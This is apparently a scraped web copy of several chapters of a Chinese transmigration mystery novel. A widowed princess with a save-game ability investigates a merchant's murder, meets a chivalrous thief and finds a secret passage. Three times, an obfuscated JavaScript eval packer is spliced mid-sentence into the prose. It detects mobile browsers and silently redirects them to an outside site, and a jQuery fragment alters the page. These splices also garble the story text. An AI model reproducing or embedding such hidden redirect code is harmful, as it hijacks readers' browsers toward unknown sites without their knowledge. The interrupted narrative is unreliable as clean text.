孟望云思索一番,保守起见,先存了个档。 她存在了4号位。 她本想存在1号位,覆盖掉原先的档。但她有隐隐的直觉,靖王的墨香轩于她还有用,那里的文书和密道,或许还隐藏着其它秘密。 眼下,对于“百鬼见郝”,她能抓住的重点和疑点,都询问了钱府下人。她得到了不少信息,眼前却仍仿佛蒙着一层浓雾。 但以后若发现新的疑点,她也可随时读档回来,询问钱府的目击证人。 此时此刻,孟望云深切地感觉到了存读档的好处。 见孟望云没有其余问题,碧烟便带那钱府下人出了雅间,递给他一个荷包: “若有旁人问起今日之事,你一概只说不知。” 下人急忙点头:“我懂得!” 待碧烟回至雅间,就听易织春在兴致勃勃地猜测,“要我说,那姓‘郝’的肯定是和这什么大盗有仇,就是不知这‘郝’与钱府老爷有什么关系。” “你听说过钱老爷的什么事吗?”孟望云问,试图打听到更多线索。 “偶有克扣下人月钱、似乎和哪个大官走得近、对女儿不好,”易织春耸了耸肩,“没准那个大官就是‘郝’呢。” 孟望云思及原身看见的画面,如果郝大人和靖王有关系,钱老爷又和郝大人有关系。那钱老爷岂不就是跟靖王有关系? 难道是官商勾结? 她心底有一个更不妙的猜测,但所知的信息还是太少,她不能轻易妄下定论。 碧烟走到她身侧,“姑娘,我按照你的吩咐,给那人封口费了。” “好。”孟望云点头,起身和易织春打了招呼,就欲离开。 易织春瞧她脸色不好,开玩笑道:“其实还有一个可能,就是我们想得太复杂了。” “或许是钱府小姐杀了她父亲呢?她不想嫁人,是以弑父。她又不想让自己背负嫌疑,于是假借大盗的名头,把嫌疑引到大盗身上。” 孟望云被她说动了。 该说不说,这写故事的人就是不一样,脑洞很大。 她停在原地,打开成就面板。 “百鬼见郝”成就依然显示未达成。 她信易织春个鬼。 “怎么样?”易织春兴致勃勃向两人寻求认同,“我这个猜测是不是很有可能?或许这就是真相!写完靖王妃思念靖王的爱情故事,我就要写这个……” 碧烟认真捋了一番,表示很有可能:“寒英公子,我觉得你说得很有道理诶。” 易织春两眼放光,看向孟望云。 孟望云:“……挺有可能的。” 就是可惜不是真相。 想到这,孟望云又有点怀疑自己,或许是自己想错了,这个成就达成的条件不是找到真相,而是亲身经历事件后才能达成? 怀着疑惑,孟望云回了孟府,在自己院内见到了郡主。 在孟府这段时间,孟望云也见过了原身父亲,工部尚书。他没有妾室,多年来和郡主琴瑟和鸣,即使郡主只生了一个女儿,也没有纳妾。 夫妇两人对原身可谓千娇百宠,孟望云能感受到父母对孩子的爱。这于她而言,已经是很陌生的情感。 她现代的父母,在她十岁时坐飞机遇到事故,是亲戚收养了她。她习惯的是寄人篱下的生活,习惯到再次感应到父母的爱时,她会下意识躲避。 郡主是来和她说靖王下葬事宜,孟望云听个大概,只要她随大流就行,最后在禅泽寺进香。 再就是郡主打算之后找个时间,带孟望云进宫见一见德妃。 德妃是郡主的闺中密友,素来感情很好。据郡主所说,德妃也有帮忙这次骆江的事情。 孟望云明白了,是要进宫拜谢。 她理了一理关系,她是靖王妃,靖王又是皇帝的弟弟,是以她和德妃是妯娌? 德妃又是郡主的好友,自己又是郡主的女儿? 幸而郡主的父亲是异姓王,不然这关系或许更乱。 靖王的葬礼十分隆重,作为靖王妃,孟望云吸引了众多视线。这些眼神里有打量,有冷漠,有嗤之以鼻,还有……呃,奇妙的怜爱眼神? 孟望云进完香,走完流程,出来时路过几个世家贵女。她走得慢了点,想弄清楚这几个人为什么要怜爱地看着她。 就听她们在低声交流,“你们都看过《燕双飞》了吧?读完后实在令人回味无穷。王妃对靖王实在是一往情深……” “看过了,我托人悄悄买了好几本呢。世上的有情人相知相爱,却无法相伴,实乃人间憾事之一啊。” “你们看靖王妃,她好憔悴啊,她一定很舍不得靖王吧……一会儿回去我要再读十遍《燕双飞》!” “只盼有情人能梦里相会……” 不,孟望云拒绝。虽然她是想让易织春写这种剧情来着,但这不代表她真的想和靖王梦里相会,又有谁知道大热CP其实彼此不熟呢。 她不由看了那几位贵女一眼,仿佛从她们的脸上读出了一种磕CP的情绪:好香的饭,大吃特吃。 孟望云想上马车,又被王府的长史拦下。她以为对方是想谈王府的事,谁知长史第一句话就是:“王妃,您虽思念靖王殿下,可也要保重身体啊。” 话音未落,长史自己先有了哭意。孟望云见状,连忙陪哭一个,以立住“爱夫、思夫”人设。 她把所有难过的事都想了一遍,挤出泪花,假装泣不成声:“我会的……” 那几个贵女注意到长史走近孟望云,就一边朝这里不远不近望着,一边低声细语。 眼见两人相对流泪,其中一位才女不禁颇感悲婉。于是她有感而发,当场作了一首诗并吟出,以此歌咏靖王妃对靖王的爱情。 这首诗还感慨世事难料,有再一回首,却物是人非的沧桑之感。后世将这首诗与《燕双飞》一并纳入经典,作为历史上歌咏爱情的众经典之一。 和它们并列的爱情诗,还有另外几位贵女的即兴诗作。她们在听了同伴所作诗歌后,诗兴大发,一人又作了一首,吟完,彼此泪眼相看。 看着众人如此真情实感的孟望云:天呐,你们竟连磕CP都这么有才华。 现代人磕CP写同人文,你们磕CP是一人作一首诗啊。 那她自然不客气了。这几首诗在她后来询问几人,征得同意之后,出现在了新故事《燕双飞之思君》当中。 诗歌的作者名,也由几位姑娘的自号以代替,取自号为新故事中的仙娥名。 在新故事里,她们是引领主角靖王妃与靖王梦中相会的仙娥,在有情人相见后吟诵诗句,以感慨两人的爱情故事。 这也正是几篇诗作得以流传,直至后世被列入经典的原因。 在收获CP粉友好关心的同时,孟望云也遇到了靖王毒唯。 说毒唯或许也不准确,只是他一看到孟望云,就关心孟望云的肚子。他似乎在期待孟望云怀有靖王的骨肉,然后他好支持她肚子里的这个孩子。 孟望云一边假笑,一边疯狂在脑内计算原身和靖王圆房日期。 庆幸的是,原身和靖王之间没有感情基础,两人相敬如宾,是真的对彼此客客气气。 原身和靖王都对这事不热衷,是以在大婚当日,靖王以处理事务为由没有圆房。后来原身又以身子不爽婉拒靖王,所以孟望云如今能够完全安心,不用害怕带娃这种事某天降临在自己头上。 孟望云找准时机,摆脱了靖王毒唯,在自家马车附近看到了崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“应是只有一位姓郝的官员。”崔玟沉思,“而且他在十一月有个宴会举办,说是想请各家未婚的女郎男郎吟诗作画。我父亲之前就收到了请帖,他想让我去。” “辜月酉时”的“辜月”正是十一月,孟望云又问:“宴会几时举办?” “朔日申时。” 十一月一日的申时?申时之后便是酉时,那个凶手虽没留下日期信息,但酉时这个时间点离申时实在太近。 比起其它不知所云的成就名称,这个“百鬼见郝”既已出现在身边,孟望云就不会放过这个达成成就的机会。 但问题来了,孟望云没有请帖。 崔玟被她的目光盯得好笑,不用她说,也与她心有灵犀:“请帖上说了,受邀请的人可以带一位好友去。好啦好啦,我带你去好吧。” 孟望云为崔玟倒了一杯茶:“姐姐喝茶~” 至于吟诗作画,她自然不会。 但她不怂,她再丢脸也没事,原身本来就不会。 “但阿云,你得为靖王服丧啊,”崔玟为她觉得为难,“服丧期不能参加宴会。” 对此,孟望云早打算好了。她叹息一声:“我知道。可是此次郝大人疑有性命之忧,而他曾受靖王殿下照拂,又为殿下瞻前顾后。” “若是殿下安在,得知郝大人会有此一难,又怎会坐视不管?”孟望云露出一脸愁容,“我虽需为殿下服丧,但殿下若知我此举是为郝大人的安危,想必他也不会怪罪于我。” 若是有人拿她参加宴会之事刁难她,她就让易织春再写一批以她为主角的故事,好好地、到位地渲染一下她的煞费苦心。 不是她想参加的,实在是她太爱靖王了,所以爱屋及乌,无法旁观郝大人遭此劫难。 9. 成就2个 “郝大人有性命之忧?” 崔玟脸色一肃,“这是怎么回事?” 孟望云简单概括了一下来龙去脉,崔玟闻言皱了皱眉,“也不知郝大人是否知晓此事。” 那大盗既然把字留在了现场,就说明对方有把握郝大人会发现这条留言。换言之,钱府或许会有郝大人的人,看到这不利于郝大人的留言后,把信息传给他。 郝大人在得知后会如何应对?他还会继续举办宴会吗? 孟望云很快就知道了后者的答案。 几日后,崔玟就写信给她,郝大人的宴会照常举办,只是加了一条规则。 出席宴会者,需自行准备面具,佩戴面具才可入会。 面具,起初又叫“代面”,作用为驱邪避疫。思及“百鬼见郝”,孟望云感慨万千,这是想让大家一起帮他驱鬼啊。 当然,孟望云明白,郝大人增加的这一规则,肯定不是明面上驱鬼那样简单。 郝府得去,钱府也不例外。 趁离宴会日还有一段时间,孟望云把去钱府的安排提上日程。 一个月黑风高夜,两个蒙面黑衣人悄然落在一处屋顶。 其中一位体贴地扶着另一位的腰,待对方站稳后,“王妃,我先去下面探探。” 说话的正是方呈白,而另一位自然是孟望云:“你小心。” 这几日,孟望云不仅在等崔玟消息,还花钱买通钱府下人,摸清了钱府格局。 此时两人脚下就是钱老爷书房,也是相传里钱老爷死亡的第一现场,虽说看着似乎没人把守,但保不齐暗处有人正盯着。 方呈白轻跃而下,孟望云分神存了个档,存在了5号位。 存完,身后有人靠近。孟望云余光一瞥,见是黑衣,朝对方伸手:“这么快?安全就带我下去吧。” 黑衣人冷哼一声,把她伸来的手挥开,“手不想要了?” 陌生的女音,不是方呈白。 一个念头随之而来,不会是墨香轩那个杀手吧? 骆江被斩,但那个杀手却找不到踪迹,想查下落也无处可寻。 孟望云尽量转头打量对方,看到对方也蒙了面。幸运的是通过对方的身形得以判断,不是墨香轩那个黑衣人。 松了一口气,又提起来一口气,因为黑衣女还在靠近。 孟望云皱眉,无奈她不会武功,在屋顶上也不似如履平地,退无法退,进也不能进,只能立在原处不动。 黑衣女见她不动弹,没有误认为她是武功大佬才不动如山,而是立刻说出了真相:“你不会武功。” “你怎么上来的——还有同伙?” 话音未落,另一个黑衣人已向她攻来,这个黑衣人才是方呈白。 黑衣女躲开他的攻击,飞速向前绕至孟望云身前。 两人眼对眼,孟望云暗想不妙,果然下一瞬,黑衣女衣袖处滑出匕首,钳制住她同时将她强制转了个身。 方呈白见状,攻势忙缓,随后她脖前传来冰凉触感,黑衣女的声音在身后响起,“你说是你的剑快,还是我的匕首快?” 孟望云被黑衣女钳制,方呈白还想尽快找黑衣女的弱点攻击,救出孟望云。但黑衣女的匕首一横在孟望云脖颈前,方呈白便不敢轻举妄动。 如若被黑衣人钳制的不是孟望云,此时恐怕他已经攻退了对方。而在他攻退敌人的过程中,被钳制者是死是伤,他都不关心。 拿到敌人的命就够了,其余人算什么。 但她不一样。 不仅是王妃,还是…… 方呈白默然,停了攻势,但没有收剑归鞘。 他目光落在孟望云脖颈前的匕首上,脑海里只有一个想法:把匕首挪开、扔掉、焚毁。 而此时的孟望云想的是:失策了,下次必须找个不露脖子的夜行衣,有条件还得在各个部位戴上防具才行。 虽然脖子前就是匕首,但拜墨香轩杀手所赐,她已经对此等死法从害怕到ptsd,又从ptsd到免疫了,她现在根本不带怕的好吗。 话是如此说,但孟望云还是惜命的,而且看黑衣女的行事作风,不像钱府的人,也就是说可以拉拢。 如若是钱府的人,完全可以高喊一声叫更多人过来,何必在钱府书房屋顶这地方,跟她们偷偷摸摸呢。 孟望云:“大侠,有话好说。” 虽然她们都偷偷摸摸,但语言的魅力就在于此,在江湖上见人称一句“大侠”,默默刷一波好感度。 孟望云垂眸去看匕首,她刚才一开口,就察觉到匕首巧妙地离远了一点。 现在那匕首正停在一个随时可以威胁她、又不会误伤她的地方,这个距离对她而言,她不敢强行挣脱。 怕一挣脱一撞到就血溅三尺,可谓是很巧妙了。 “大侠也听说了钱老爷的事吧?”孟望云压低声音,以防又把钱府的人惹过来, “大侠,你也能看出我和他不是钱府的人。既然我们都不是钱府人,不如同行,一起去钱老爷书房找找线索。” 黑衣女轻笑:“线索?什么线索?钱老爷不是被‘玄鱼大盗’杀的么?” “玄鱼大盗”? 孟望云从记忆中搜寻无果。那个钱府下人只说民间是有一个大盗,但没说大盗有什么名号。 是其实有两位大盗,还是确实为同一位,只是钱府下人不知其具体名号? 不论如何,此时黑衣女主动提起“玄鱼大盗”,在孟望云这都相当于自爆了。 “耳听为虚,眼见为实。”孟望云道。“没有人亲眼看到是‘玄鱼大盗’杀了他,又如何断言此事乃大盗所为,而不是别的人杀了他、又冒充了大盗的名号?” 她一边说,一边试探将手放在匕首的刀柄上,缓缓推远。随着最后一句话出口,匕首也顺从主人心意回到袖内。 而方呈白也没有浪费一秒的时间,在孟望云离开匕首威胁范围区的下一秒,他就立刻上前,一手环住她的腰,一手轻握她胳膊带她后退,眨眼间便与黑衣女拉开距离。 “王妃,您没事吧?” 方呈白低垂目光,看向她脖颈。确认没有伤口后,恪守礼数马上收回,没有多看一眼。 可环在孟望云腰上的手却并非如此。即使已和黑衣人拉开距离,他也没有放下。但这不是出于绮念,而是黑衣人还在对面,如果她忽然出招,以现在的姿势,方呈白可随时带孟望云躲避。 他现在只想着如何保护孟望云,如何更好保护孟望云。他不想看到她落入任何危险。 孟望云平复心跳,望向对面的黑衣女。 黑衣女也正在望着她们,和她对上眼神,主动问道:“一起下去?” 方呈白低声:“王妃,方才下属还没来得及探查周围是否有暗桩。” “没事,和她一起下去看看吧。” 这边方呈白带着孟望云跃下屋顶,那边黑衣女也稳落地面。 黑衣女指了指她这边的窗户,又指了指中间的门,最后做了一个手势。 孟望云:“她这个手势意思是?” 方呈白翻译上线:“这是江湖上的手势……她问王妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744527|157545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从哪进。” 是从窗户进,还是从门口进? 孟望云想到方呈白在密道的运气,“你认为从哪进合适?” 方呈白觉得从哪进都差不多,但他或许也有疏漏的地方,又怎可因疏忽影响她的决策? 所以他低声回答:“属下愚钝,不知从哪处进入更安全。” 孟望云翻译:那就是都安全了。 她指了指窗户,黑衣女点点头。 窗户半开,黑衣女身手矫健,顺利由窗而入,没有发出半点声响。 孟望云深吸一口气,考验身体灵敏度的时刻到了。 她腿轻抬,借方呈白的力,从窗户缝隙探进上身。屋内,黑衣女还候在窗边。见她吃力,及时伸手帮忙,直接抱住她的腰,将人抱入屋内,等她脚在地上站稳才松开。 孟望云一晃神,自己就进来了。 她好像没出什么力气,竟还有些轻松。 方呈白也顺利进来了。他看孟望云在发呆,无言地帮孟望云整理衣服上的褶皱,又悄然拿出手帕擦掉衣摆上不易察觉的灰尘。 黑衣女帮孟望云进来后,就走到室内书架旁,借从窗缝透进来的月光打量。 没看出来什么玄机。她正要走开,身旁就有人伸手抽出来一本书。 她侧目,孟望云翻了翻书,从书页内拿出一张泛黄的纸,纸上的字密密麻麻。 月光终究比不上阳光,孟望云看不清纸上具体写了什么,但隐约看出是在算数,估计是账单一类的东西。 钱老爷是商人,的确会有记账的习惯。孟望云留下纸,把书放回原位。 黑衣女想比手势,但考虑到孟望云看不懂,遂低声问:“其它书里还会有这东西吗?” 孟望云也低声回她:“会。找和这本书大小一样的书。” 旁听的方呈白也加入到寻书行列。 孟望云一边找书,一边想这钱老爷和靖王藏东西都喜欢藏书里,不会也有什么渊源吧。 这书架很大,竟有上百本同等大小的书,三人将它们全部找出费了不少力气。 然而,除孟望云找到的第一张黄纸外,其余书本里只有十本内部有黄纸,剩下大部分书则有一个共同点—— 它们都落了灰,这不是重点,重点是她们刚翻开书,就看到书页上有手印。 “不是我们的手印,”孟望云用几本书书页上的手印和她们三人逐一对比,没有一个符合,思及窗棂和室内的灰尘,“有人在我们之前来过,而且他们也是从窗户进来的。” 说不好,窗户那个缝还是他们离开时忘记关上的。 孟望云刚把十一张纸叠在一起,方呈白便轻握住她胳膊,带她藏到书架侧面隐匿。 黑衣女则默然立于室内门侧阴影中,匕首滑出,泛着冷光。 孟望云屏息凝神,一边倾听动静,一边回忆钱府书房的布局。 三人目前所在的房间,是南北两间侧房之一的南侧房。两间侧房中间是正堂,且各自和正堂以门想接,其中只有南侧房有窗。 正堂有三扇门,两扇连接侧房,另一扇连接屋外。这后一扇门,便是她们刚才抉择是进门还是进窗的门,也是大门。 不知这来客是进门还是进窗了,如若是进门,黑衣人首当其冲。如若是进窗,她和方呈白也会和来者打个对面。 脚步声越来越近,近到孟望云都能听清楚了。 来人从北侧房那边走来,于正堂大门前停下,静默几息后,传来钥匙开锁的声响。 “吱呀——” 门开了。 10. 成就2个 南侧房里静寂得落针可闻,正堂大门外更是静到能听见风声。 来人开了锁,却不进屋,而是在屋外朝南侧房这边走来。 仿若一场无声的拉锯,都在等待对方先露出破绽、先发出声音。 “小姐!” 远处一声叫喊,随后响起清晰的脚步声。 是个男侍从的声音,话里话外都是小心翼翼的讨好:“小姐,这么晚了,您还来老爷的书房整理东西,再看那几位少爷……” “老爷若是上天有灵,看到小姐这么孝顺,定会给小姐谋一份更好的婚事……小的有没有什么地方能为小姐效劳的?” 来者声音听不出情绪:“近日几位兄长院里不宁,你去他们那巡逻吧,别让贼人逮住空子。” “是是是,”那护院闻言不敢多说,连忙一溜烟跑走了。 来者转身回至正门前,缓缓从正门处入内,并将大门关上。脚步声停顿一瞬,还是走向了南侧房。 脚步声停在正堂与南侧房相连的门前,来者往里一望,没有望到半个人影。又看向门侧,也没有发现异常。 犹豫一会儿,她还是走了进来,走向室内半开的窗户,仔细把窗关上。 “钱小姐。” 来人没有立刻回应,而是确认窗关好后,才徐徐转身。 当屋外护院称来人为“钱小姐”,孟望云就去把黑衣女拉过来了,并叮嘱黑衣女和方呈白“不要误伤友军”,钱小姐才没有收到黑衣女的钳制、威胁等一连串大礼包。 黑衣女当时不解,但出于对实力的自信,没有反对。方呈白则是“王妃说什么就是什么”,自然也无异议。 所以当钱小姐转身,看到的就是这样的画面:三个蒙面黑衣人站成一排,在月光下只能看清三人的眼,而这三双眼睛又齐刷刷看着她。 钱小姐抬手轻抚心口,不由自主后退半步。 孟望云想从钱小姐这里获得情报,故而友善地说:“我们没有恶意。” 闻言,她身旁的黑衣女朝另一边迈了一步:“我和她们俩不是一块儿的。” 孟望云:都是一起进窗户的人了,这时候分什么你我? 钱小姐眼神看向孟望云,又垂下落到她手里的黄纸上:“没有恶意?” 孟望云淡定扬了扬黄纸,“钱小姐,我们刚才发现,在我们到访前,有外人来过你父亲的书房。” 钱小姐并不意外:“我知道。” “重要的东西都被他们取走了。”钱小姐走到书桌旁,那上面仅有文房四宝笔墨纸砚,除此之外再无它物,“你们来晚一步。” 重要的东西?什么算重要? 不需钱小姐回答,孟望云心里已有答案。只有佐证钱老爷和别人经济往来的账,以及其它特殊的账,才会被纳入“重要”级别的分类。 而凶手既在钱老爷死亡现场点名郝大人,郝大人和钱老爷必定有联系。那批夺走账目证据的人,也必然和郝大人有关联。 孟望云摩挲黄纸,侧身和方呈白对视一眼。方呈白会意拿出火折子,火光亮起后,孟望云把纸举到火光旁阅读。 方呈白知孟望云谨慎,抬手捂住露出的亮光,既保证不影响孟望云阅读,也防止火光吸引其他钱府人的注意力。 钱小姐见状,犹豫再三,还是道:“你们不必太小心谨慎。自从我父亲书房一些东西被盗后,这里也没什么珍贵东西了,所以如今这附近也没有护院巡视。” 此话一出,孟望云倍感安全,方呈白也卸下了一些压力。黑衣女看看两人,“你们不知道这事?” 孟望云:“你知道这附近没有人盯着?” 那你还指门指窗又做手势,附近没有钱府人就正常说话啊。进屋了还低声说话,不会是为了配合她们塑造“偷偷摸摸”的氛围吧? 她以眼神稍微谴责了一下黑衣女,黑衣女高深莫测:“我这叫专业。” “如若你想找什么账目,恐怕很难找到。”黑衣女既是补充情报,又是佐证钱小姐所言可信,“前几日我每次来打探,都看到一伙人又进又出。他们训练有素,带走的东西可不少,就是不知他们是江湖上的哪个组织。” “他们有什么特征吗?”孟望云一心两用,一边审阅账目,一边询问,“比如也和我们一样穿黑衣?” 黑衣女:“他们也是黑衣。” 全天下夜里出行的不会都穿黑衣吧,孟望云暗暗吐槽。 又听黑衣女继续道:“但他们的黑衣和我们的不一样,他们衣服上绣有暗纹。” 换言之,三人和他们的衣服的共同点只有黑。 “那暗纹图案应该是一种动物,但又似乎是好几种动物。”黑衣女绞尽脑汁去描述,她不知道那到底是什么玩意儿,“说是豺吧,又像狼,说是狼吧,又应该是豺。” 钱小姐好奇问道:“你认得豺与狼?” 她只从书里看到过,却没有亲眼见到过,有些不信黑衣女能分清这两种动物。 黑衣女笑了:“我不仅见过豺和狼,我还杀过呢。” 不论是豺还是狼,在现代可都是保护动物啊,孟望云目光从账目上移到黑衣女身上。 思及黑衣女的“专业”和豺狼的凶猛,现在的黑衣女,在孟望云眼里不仅是武力值非常高,还是有很多奇妙经验的狠人。 钱小姐亦是一脸惊叹。 孟望云把注意力重新集中到账目上,顺口问:“它只是豺狼结合体?有没有别的特征?” “它身上还有鳞片,而且还长角。”黑衣女继续回忆,“那个角像鹿角,我见过鹿,我非常确定。” 钱小姐有些向往:“你认得好多动物。冒昧一问,你是住在和‘阡陌交通,鸡犬相闻’一样的桃花源吗?” “什么桃花源?”黑衣女困惑,“哪有什么桃花源。” 两人探讨“桃花源”,没有注意到孟望云听到“有鳞片和鹿角”时的异样。但方呈白的注意力一直在她身上,是以立刻察觉到孟望云神情不对。 方呈白担心她的状态:“王妃?” “没事。”孟望云舒出一口气,还在看着账目,心思却不在账目上了。 身形如豺狼、有鳞片、头长鹿角,这不是龙的第二子“睚眦”么?而且这和龙角似鹿也能对应上,可若真是“睚眦”,那这批人的幕后人岂不是——皇嗣? 原身记忆中,只听说宫中有几位皇女与皇子,却从未与皇嗣们打过照面,对他们知之甚少。 此时,孟望云也只能暂且压下疑虑不表,专注于手中的账目。 记录具体日期、具体数目和用途,这是账本记录者的记录方式。这十一张纸上的日期时间跨度很长,最早记录和最晚记录相隔时间有五年。 这还是被别人带走绝大部分后不要的。换言之,时间跨度恐怕不仅五年,它已经持续了很长时间。 经过孟望云比对,发现这十一张账单上有三处重复记录的款项,并且都是支出而非收入。 例如某年某月十五日有一笔五百银两的支出,只记录了是百两和日期,却没和其它记录一样记录是支到了哪里,具体花在什么地方只有记录者清楚。 一般来讲,一笔支出记录一次就够了。但记录者不知出于什么心理,在过了几年几月后又提起了这笔支出,所以孟望云看到的是这样的: “治和五年九月,用银拾捌两,良马一匹……” “治和五年十月,用银伍佰两。” “治和五年十一月,用银伍拾两,铺子一间……” “治和七年三月,用银陆两,布二十匹。” “治和五年十月,用银伍佰两。” “治和七年五月,用银贰拾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这五年里,也不知钱老爷具体是做了什么产业,能顺利支出这一万多两银,这一笔如此庞大的数字。 被钱老爷反复提起的账、钱老爷对钱斤斤计较、钱老爷莫名死亡——他肯定不是被什么大盗杀死的——钱老爷和郝大人有关,郝大人又曾和靖王有来往——“睚眦”——“百鬼见郝”…… 孟望云不寒而栗,一阵眩晕。像是坐了过山车,经历了一段最为崎岖的路:先急速下冲,又爬上螺旋状轨道,到了坡顶忽而平缓不动;在你没有准备时,又加速下冲至最底端,你不觉得刺激,只觉得恶心想吐。 火苗微光照在黄纸上,比起明亮的阳光,它实在太微不足道。可也是这样微弱的火苗,支撑她看完了十一张账单还没有熄灭,仍然摇摇欲坠跳跃着,为她照亮她想了解的事物。 孟望云看着火折子出神。 她的思绪已不受她的控制,扩散到了不知多少个角落。她想到火折子由哪一朝无名人士发明,又东想西想,最后终于被方呈白的一声“王妃”唤回现实。 方呈白不知账单里有什么奥秘,但观孟望云脸色苍白,便也知她发现了不利的玄机。 再多担忧的话能不能说,如何说,终是蕴含在了他的一声“王妃”里。 那边,在孟望云研究账目的功夫,黑衣女在和钱小姐继续“闲聊”。 与其说“闲聊”,不如说两人一个想空手套白狼,一个见招不拆也不接。 黑衣女扯了扯嘴角,“钱小姐,我是一个莽人,有话就直说了。” “‘知者不言,言者不知’。”钱小姐摇了摇头,“‘质胜文则野……’” 受到文化攻击的黑衣女一怔,尝试理解,后果断放弃连接钱小姐频道:“第一个看到钱老爷尸体的人是谁——是你,还是别人?” 11. 成就3个 钱小姐淡然一笑:“你不是衙门衙役,又何故问我此事始末?” 匕首如鱼游出黑衣女的衣袖,又在她指间轻盈游舞,“钱小姐可听说过‘玄鱼大盗’?” 孟望云把黄纸收入携带的书袋中,方呈白则自觉接过书袋。听黑衣女如此一说,孟望云心道:这人又开始自我介绍了。 月光如霜,透过窗棂洒在钱小姐身上。她垂眸,似乎陷入到什么回忆之中,在月光镀边下仿佛不在人世间,“听说过。” “每天不是偷人财物,就是送人钱财,连家父的奇珍异宝也被此人收入囊中,”钱小姐笑言,“不论是偷还是送,此人都会在现场留下一条鱼的图案,久之便有了‘玄鱼大盗’的名号。” “什么偷,”黑衣女不爽,“是侠盗。” “阁下莫非是?”钱小姐打量着黑衣女,未尽的四个字“玄鱼大盗”虽没出口,但在场众人皆可意会。 黑衣女又来那招“拒不承认”,而是询问:“钱老爷尸体附近有玄鱼图案?” 静默几息,钱小姐终是回答:“有。” 闻言,黑衣女的匕首也不游了,直接被冻住了。 眼见新一位背锅侠出炉,孟望云分外理解黑衣女的心情,背锅人刚发现自己背了锅都是这样的。 忽然一声轻笑,钱小姐连忙捂住唇,假作什么也没有发生,慢悠悠补充一句:“但冒充玄鱼大盗者估计是没有见过真大盗画的玄鱼,现场留下的图案和真大盗的玄鱼有很大差异。” “毕竟在此之前,真大盗光顾过家父宝库多回,留下的玄鱼图案不止一条,我对其已十分熟悉。” 是以,钱小姐才一眼看出真凶不是玄鱼大盗。 孟望云思及钱府下人所言,想必如今舆论导向也是真凶有意为之。 再者玄鱼大盗曾也来过钱府,这一次又来钱府杀人夺宝,对不明真相的人而言逻辑也说得通,顶多是意外竟然杀了人—— 不过大盗劫富济贫,在被她救济过的百姓眼里,她已披上一层“正义”的外衣,所作所为都佩戴上“正义”色彩。 钱老爷的名声又不怎么好,就算他名声一般,大盗杀他,百姓也认为一定是钱老爷做了什么恶事,而大盗只不过是为民除害。 这样一来,玄鱼大盗可谓是最适合的背锅侠。 但衙门那里,是一定会追着玄鱼大盗不放的,又盗窃又“杀”了钱老爷,恐怕她已经上了衙门黑名单。 钱府这一夜,孟望云和方呈白是为了找线索,黑衣女也是玄鱼大盗是为了查明状况,那钱小姐来书房又是为了什么? 黑衣女也想到了这层:“你说那伙人把重要的东西取走了,那这里什么都没有了,你大半夜来书房干什么?你还把看到你来这的人给支走了,一会儿出去你不会把人解决了吧?” 对于黑衣女的这顿猛踩,钱小姐泰然自若,格外真诚:“我来找一样东西,家母遗物。” 氛围凝滞,孟望云轻声道:“节哀。” “她已经离开一年了。”钱小姐声音如羽毛飘散在空中,轻得似乎难以感受到重量,“她闭眼前留给我一样东西,但是被他夺走放在了书房。” “这是她唯一的遗物,我……”钱小姐苦笑,“我必须找回来。” 黑衣女收回匕首,那匕首在月光下如银鱼,重又隐匿于夜幕水面之下:“虞嫦,‘虞美人’的虞,‘嫦娥’的嫦。” “孟望云。‘孟春’之孟,‘因仰长安而就日,赴帝乡以望云’之望云。”即使她说自己的真名,虞嫦和钱小姐也不会知道她就是靖王妃,所以她并无顾忌。 靖王妃的名姓并不为人所知,即使在易织春所作的CP文里,靖王妃也没有她自己的名字,通篇只以“王妃”二字称呼代替。 “我名绍,‘绍庭上下’之绍。” 众人依次自报姓名,方呈白也作了一番简短介绍。 就在这时,孟望云忽然捕捉到一处细节:“钱小姐,凶手取令尊性命后所夺之宝物是?” “正是家母遗物。”钱绍叹了口气,“但凶手拿走的是假的。” 孟望云察觉到此物的重要性,但这是钱绍母亲的遗物,她不便细究此物到底是什么东西,遂没有多问,而是把注意力转移到另一件事上:“钱小姐是如何判断那物真假?” 钱绍假咳一声,决定省略往事长话短说:“我之前拿走过它,发现它是假的,就放回来了。赝品和真品差距甚远,故而我可分辨。” “真品还在这里么?”虞嫦问,“话说我之前在钱府拿的东西,不会也是赝品吧?” “你前几回拿的是真品,后几回拿的都是赝品。”钱绍走至书架对面的墙壁前,一边按下某块砖,一边道,“如若不是你盯上了家父的宝库,家父还不会弄来那么多赝品。” 看来赝品防的就是某位玄鱼大盗啊,孟望云笑了笑,同时又想到,钱老爷连珍宝都弄个赝品,那这账单不会也有真品赝品之分吧,那账单的真假岂不成了谜? 她无法确认手里的这十一张黄纸账单是否为真,同理来论,“睚眦”那伙人抢走的账单也不一定是真还是假。 这账单是真品还是赝品只有钱老爷知道,孟望云看着前方的钱小姐,或许还得再加上一位钱小姐。 钱绍按下墙上第一块砖后,又依次按下几块砖。随后地面上的砖块发生移动,缓缓露出一条蜿蜒而下的石阶,一眼望去望不到底。 “走吧。”钱绍拿出火折子,饶有深意地看了孟望云一眼,“下面不仅有家母遗物,还有你想要的东西。” 虞嫦也拿出自带的火折子,兴致盎然:“走走走,我在前面开路!” 虽然这事和虞嫦此行目的不相干,但她依然热血上头,加入三人探密道的行列。 